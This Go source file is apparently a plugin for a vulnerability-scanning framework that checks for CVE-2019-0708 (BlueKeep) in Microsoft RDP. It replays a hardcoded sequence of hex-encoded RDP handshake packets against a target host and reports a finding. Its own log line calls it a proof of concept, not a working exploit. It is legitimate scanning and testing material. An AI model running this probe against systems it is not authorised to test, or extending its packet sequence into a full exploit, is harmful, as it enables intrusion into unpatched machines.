package plugins

import (
	"context"
	"crypto/tls"
	"encoding/hex"
	"fmt"
	"gitee.com/wudicaidou/menciis-pocx"
	"gitee.com/wudicaidou/menciis-pocx/pocbase"
	"github.com/kataras/golog"
	"strconv"
	"strings"
	"time"
)

var (
	SENT                    = "-->"
	RECEIVE                 = "<--"
	tpkt, _                 = hex.DecodeString(`030000130ee000000000000100080001000000`)
	mcs_connect_init_pdu, _ = hex.DecodeString("030001ee02f0807f658201e20401010401010101ff30190201220201020201000201010201000201010202ffff020102301902010102010102010102010102010002010102020420020102301c0202ffff0202fc170202ffff0201010201000201010202ffff02010204820181000500147c00018178000800100001c00044756361816a01c0ea000a0008008007380401ca03aa09040000b11d00004400450053004b0054004f0050002d004600380034003000470049004b00000004000000000000000c0000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000001ca01000000000018000f00af07620063003700380065006600360033002d0039006400330033002d003400310039380038002d0039003200630066002d0000310062003200640061004242424207000100000056020000500100000000640000006400000004c00c00150000000000000002c00c001b0000000000000003c0680005000000726470736e6400000f0000c0636c6970726472000000a0c0647264796e766300000080c04d535f5431323000000000004d535f5431323000000000004d535f5431323000000000004d535f5431323000000000004d535f543132300000000000")

	domain_request_pdu, _ = hex.DecodeString("0300000c02f0800400010001")

	mcs_attach_user_request_pdu, _ = hex.DecodeString("0300000802f08028")

	do_join_request0, _ = hex.DecodeString(`0300000c02f08038000803e9`)
	do_join_request1, _ = hex.DecodeString(`0300000c02f08038000803ea`)
	do_join_request2, _ = hex.DecodeString(`0300000c02f08038000803eb`)
	do_join_request3, _ = hex.DecodeString(`0300000c02f08038000803ec`)
	do_join_request4, _ = hex.DecodeString(`0300000c02f08038000803ed`)
	do_join_request5, _ = hex.DecodeString(`0300000c02f08038000803ee`)
	do_join_request6, _ = hex.DecodeString(`0300000c02f08038000803ef`)

	do_client_security_pdu_exchange, _  = hex.DecodeString("0300005e02f08064000603eb7050010200004800000091ac0c8f648c39f4e7ff0a3b79115c13512acb728f9db7422ef7084c8eae559962d28181e466c805ead473063fc85faf2afdfcf164b33f0a151ddb2c109d30110000000000000000")
	client_info_pdu, _                  = hex.DecodeString("0300016102f08064000703eb7081524000a1a509040904bb47030000000e00080000000000000042007200770041006600660079000000740074007400740000000000000002001c00310030002e0030002e0030002e003700360000000000000000000000400043003a005c00570049004e0044004f00570053005c00730079007300740065006d00330032005c006d007300740073006300610078002e0064006c006c000000a40100004d006f0075006e007400610069006e0020005300740061006e0064006100720064002000540069006d006500000000000000000000000000000000000000000000000b00000001000200000000000000000000004d006f0075006e007400610069006e0020004400610079006c0069006700680074002000540069006d006500000000000000000000000000000000000000000000000300000002000200000000000000c4ffffff0100000006000000000064000000")
	confirm_packet, _                   = hex.DecodeString("0300026302f08064000703eb70825454021300f003ea030100ea0306003e024d53545343001700000001001800010003000002000000001d04000000000000000002001c00200001000100010080073804000001000100001a0100000003005800000000000000000000000000000000000000000001001400000001000000aa000101010101000001010100010000000101010101010101000101010000000000a1060600000000000084030000000000e404000013002800030000037800000078000000fc09008000000000000000000000000000000000000000000a0008000600000007000c00000000000000000005000c00000000000200020008000a0001001400150009000800000000000d005800910020000904000004000000000000000c000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000c000800010000000e0008000100000010003400fe000400fe000400fe000800fe000800fe001000fe002000fe004000fe008000fe0000014000000800010001030000000f0008000100000011000c00010000000028640014000c00010000000000000015000c0002000000000a00011a000800af9400001c000c0012000000000000001b00060001001e0008000100000018000b0002000000030c001d005f0002b91b8dca0f004f15589fae2d1a87e2d6010300010103d4cc44278a9d744e803c0ecbeea19c54053100310000000100000025000000c0cb080000000100c1cb1d00000001c0cf0200080000014000020101010001400002010104")
	client_synchronization_pdu, _       = hex.DecodeString("0300003002f08064000603eb7022280081f859ffcb2f73572b42db882e23a997c2b1f574bc49cc8ad8fd608a7af64475")
	client_control_cooperate_pdu, _     = hex.DecodeString("0300003402f08064000603eb7026080081f80403def791a37caf3f7a624e3bfeb67a28bf0d4f312703b94af1e626f0bdc5710a53")
	client_control_request_pdu, _       = hex.DecodeString("0300003402f08064000603eb7026080081f83b8bb47256ffd1d64b171eaef68ddd75a0a316972912b7cf14c9110bd8c8faa1813a")
	client_persistent_key_length_pdu, _ = hex.DecodeString("0300010d02f08064000603eb7080fe08009016cec64a69d9d3499e10a5040fcfab4f6a3bda31034f29bd643e9846ec0a1dcd9cad1358a3bd8b9daef1e99d439653f5d0b75088f381f1cbad1755759c5fefeca93540b37406d1aed1159fed9149a63d1fc131b11758da0e24df1f878639d14666ea0e98d04b5b7b01b98ae8683280dab958a69f4fb5ba7904aed963c06aa8815197250b3fc3d247fa0a7a221fbd5f4eb800ea3206e6af15e46fb3d3c14ccb0a8edda729070359c1c1081baa563cf5d089e3cdcf268b65590acb7e81b633bb4d9a1380e7572a0d1d11b418c4312f4f897709942ec38ebffd6a392b47740e1274ec4514c36b27d6b69311a4bc46de694ab454c72424998f60b72159")

	client_font_list_pdu, _ = hex.DecodeString("0300003402f08064000603eb7026080080fe98195cfb9292f59718b2b7c313dc03fb6445c0436d913726fd8e71e6f22a1eae3503")
)

type cve20190708 struct {
	Id     string   `yaml:"id" #:"id 信息"`
	Name   string   `yaml:"name" #:"插件名称"`
	Tags   []string `yaml:"tags"`
	config *pocx.Config
}

func Newcve20190708() *cve20190708 {
	return &cve20190708{
		Id:   "CNNVD-201905-434",
		Name: "cve20190708",
		Tags: []string{"microsoft"},
	}
}

func (bluekeep *cve20190708) Init(ctx context.Context) error {
	config, err := pocx.ContextConfig(ctx)
	if err != nil {
		return err
	}

	bluekeep.config = config
	return nil
}

func (bluekeep *cve20190708) Meta() *pocbase.MetaInfo {
	return &pocbase.MetaInfo{
		Plugin: &pocbase.PluginInfo{
			ID:   bluekeep.Id,
			Name: bluekeep.Name,
		},
	}
}
func (bluekeep *cve20190708) Match(ctx context.Context, in []pocbase.Fingerprint) bool {
	if len(in) == 0 || len(bluekeep.Tags) == 0 {
		return true
	} else {
		if len(in) > 0 {
			for _, v := range in {
				for _, y := range bluekeep.Tags {
					if strings.Contains(strings.ToLower(v.Product), strings.ToLower(y)) {
						return true
					}
				}
			}
		}
		return false
	}
}
func (bluekeep *cve20190708) Scan(ctx context.Context, in interface{}) (pocbase.SnapShot, pocbase.Event, error) {
	var snapShot pocbase.SnapShot
	srv, isService := in.(*pocbase.ServiceAsset)
	if !isService {
		return snapShot, nil, fmt.Errorf("not service asset")
	}
	conn, err := bluekeep.config.NetClient.Dial(ctx, srv)
	if err != nil {
		return snapShot, nil, err
	}
	defer func() {
		if conn != nil {
			_ = conn.Close()
		}
	}()
	_, err = conn.Write(tpkt)
	if err != nil {
		return snapShot, nil, err
	}
	buff8000 := make([]byte, 8000)
	buff1024 := make([]byte, 1024)
	_, err = conn.Read(buff8000)
	if err != nil {
		return snapShot, nil, err
	}

	tlsClient := tls.Client(conn, &tls.Config{InsecureSkipVerify: true})

	_, err = tlsClient.Write(mcs_connect_init_pdu)
	if err != nil {
		bluekeep.config.Logger.Verbosef("sending Client MCS Connect Initial PDU request packet err: %v", err)
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("sending Client MCS Connect Initial PDU request packet %v", SENT)

	n, err := tlsClient.Read(buff8000)
	if err != nil {
		bluekeep.config.Logger.Error("1 received err: %v", err)
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("%v received %v bytes from host: %v", RECEIVE, n, srv.Host)

	_, err = tlsClient.Write(domain_request_pdu)
	if err != nil {
		bluekeep.config.Logger.Errorf("sending Client MCS Domain Request PDU packet err: %v", err)
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("sending Client MCS Domain Request PDU packet %v", SENT)

	_, err = tlsClient.Write(mcs_attach_user_request_pdu)
	if err != nil {
		bluekeep.config.Logger.Errorf("sending Client MCS Attach User PDU request packet err: %v", err)
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("sending Client MCS Attach User PDU request packet %v", SENT)
	n, err = tlsClient.Read(buff8000)
	if err != nil {
		golog.Error("2 received err: %v", err)
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("%v received %v bytes from host: %v", RECEIVE, n, srv.Host)

	bluekeep.config.Logger.Debugf("sending MCS Channel Join Request PDU packets %v", SENT)
	_, err = tlsClient.Write(do_join_request0)
	if err != nil {
		bluekeep.config.Logger.Error(7, err)
		return snapShot, nil, err
	}
	n, err = tlsClient.Read(buff1024)
	if err != nil {
		return snapShot, nil, err
	}
	number := do_join_request0[len(do_join_request0)-2 : len(do_join_request0)]
	channel_number, _ := strconv.ParseUint(hex.EncodeToString(number), 16, 32)
	bluekeep.config.Logger.Debugf("%v received %v bytes from channel %d on host: %v", RECEIVE, n, channel_number, srv.Host)

	_, err = tlsClient.Write(do_join_request1)
	if err != nil {
		return snapShot, nil, err
	}
	n, err = tlsClient.Read(buff1024)
	if err != nil {
		return snapShot, nil, err
	}
	number = do_join_request1[len(do_join_request1)-2 : len(do_join_request1)]
	channel_number, _ = strconv.ParseUint(hex.EncodeToString(number), 16, 32)
	bluekeep.config.Logger.Debugf("%v received %v bytes from channel %d on host: %v", RECEIVE, n, channel_number, srv.Host)

	_, err = tlsClient.Write(do_join_request2)
	if err != nil {
		return snapShot, nil, err
	}
	n, err = tlsClient.Read(buff1024)
	if err != nil {
		return snapShot, nil, err
	}
	number = do_join_request2[len(do_join_request2)-2 : len(do_join_request2)]
	channel_number, _ = strconv.ParseUint(hex.EncodeToString(number), 16, 32)
	bluekeep.config.Logger.Debugf("%v received %v bytes from channel %d on host: %v", RECEIVE, n, channel_number, srv.Host)

	_, err = tlsClient.Write(do_join_request3)
	if err != nil {
		return snapShot, nil, err
	}
	n, err = tlsClient.Read(buff1024)
	if err != nil {
		return snapShot, nil, err
	}
	number = do_join_request3[len(do_join_request3)-2 : len(do_join_request3)]
	channel_number, _ = strconv.ParseUint(hex.EncodeToString(number), 16, 32)
	bluekeep.config.Logger.Debugf("%v received %v bytes from channel %d on host: %v", RECEIVE, n, channel_number, srv.Host)

	_, err = tlsClient.Write(do_join_request4)
	if err != nil {
		return snapShot, nil, err
	}
	n, err = tlsClient.Read(buff1024)
	if err != nil {
		return snapShot, nil, err
	}
	number = do_join_request4[len(do_join_request4)-2 : len(do_join_request4)]
	channel_number, _ = strconv.ParseUint(hex.EncodeToString(number), 16, 32)
	bluekeep.config.Logger.Debugf("%v received %v bytes from channel %d on host: %v", RECEIVE, n, channel_number, srv.Host)

	_, err = tlsClient.Write(do_join_request5)
	if err != nil {
		return snapShot, nil, err
	}
	n, err = tlsClient.Read(buff1024)
	if err != nil {
		return snapShot, nil, err
	}
	number = do_join_request5[len(do_join_request5)-2 : len(do_join_request5)]
	channel_number, _ = strconv.ParseUint(hex.EncodeToString(number), 16, 32)
	bluekeep.config.Logger.Debugf("%v received %v bytes from channel %d on host: %v", RECEIVE, n, channel_number, srv.Host)

	_, err = tlsClient.Write(do_join_request6)
	if err != nil {
		return snapShot, nil, err
	}
	n, err = tlsClient.Read(buff1024)
	if err != nil {
		return snapShot, nil, err
	}
	number = do_join_request6[len(do_join_request6)-2 : len(do_join_request6)]
	channel_number, _ = strconv.ParseUint(hex.EncodeToString(number), 16, 32)
	bluekeep.config.Logger.Debugf("%v received %v bytes from channel %d on host: %v", RECEIVE, n, channel_number, srv.Host)

	_, err = tlsClient.Write(do_client_security_pdu_exchange)
	if err != nil {
		return snapShot, nil, err
	}
	_, err = tlsClient.Write(client_info_pdu)
	if err != nil {
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("sending Client Security Exchange PDU packets %v", SENT)
	n, err = tlsClient.Read(buff8000)
	if err != nil {
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("%v received %v bytes from host: %v", RECEIVE, n, srv.Host)

	_, err = tlsClient.Write(confirm_packet)
	if err != nil {
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("sending Client Confirm Active PDU packet {}", SENT)
	n, err = tlsClient.Read(buff1024)
	if err != nil {
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("%v received %v bytes from host: %v", RECEIVE, n, srv.Host)

	_, err = tlsClient.Write(client_synchronization_pdu)
	if err != nil {
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("sending Client Synchronization PDU packet %v", SENT)

	_, err = tlsClient.Write(client_control_cooperate_pdu)
	if err != nil {
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("sending Client Control Cooperate PDU packet %v", SENT)

	_, err = tlsClient.Write(client_control_request_pdu)
	if err != nil {
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("sending Client Control Request PDU packet %v", SENT)

	_, err = tlsClient.Write(client_persistent_key_length_pdu)
	if err != nil {
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf("sending Client Persistent Key Length PDU packet %v", SENT)

	_, err = tlsClient.Write(client_font_list_pdu)
	if err != nil {
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Infof("sending Client Font List PDU packet %v", SENT)
	n, err = tlsClient.Read(buff8000)
	if err != nil {
		return snapShot, nil, err
	}
	bluekeep.config.Logger.Debugf(`%v received %v bytes from host: %v`, RECEIVE, n, srv.Host)
	bluekeep.config.Logger.Debugf("closing the connection now, this is a PoC not a working exploit")
	return snapShot, &pocbase.VulEvent{
		Timestamp: time.Now(),
		Plugin: &pocbase.PluginInfo{
			ID:   bluekeep.Id,
			Name: bluekeep.Name,
		},
		Details: &pocbase.VulDetail{},
		Target: &pocbase.TargetInfo{
			Host: srv.Host,
			Path: "",
			Port: srv.Port,
		},
	}, nil
}

func (bluekeep *cve20190708) Close() {
	return
}

func (bluekeep *cve20190708) SetProxy(proxy string) {}
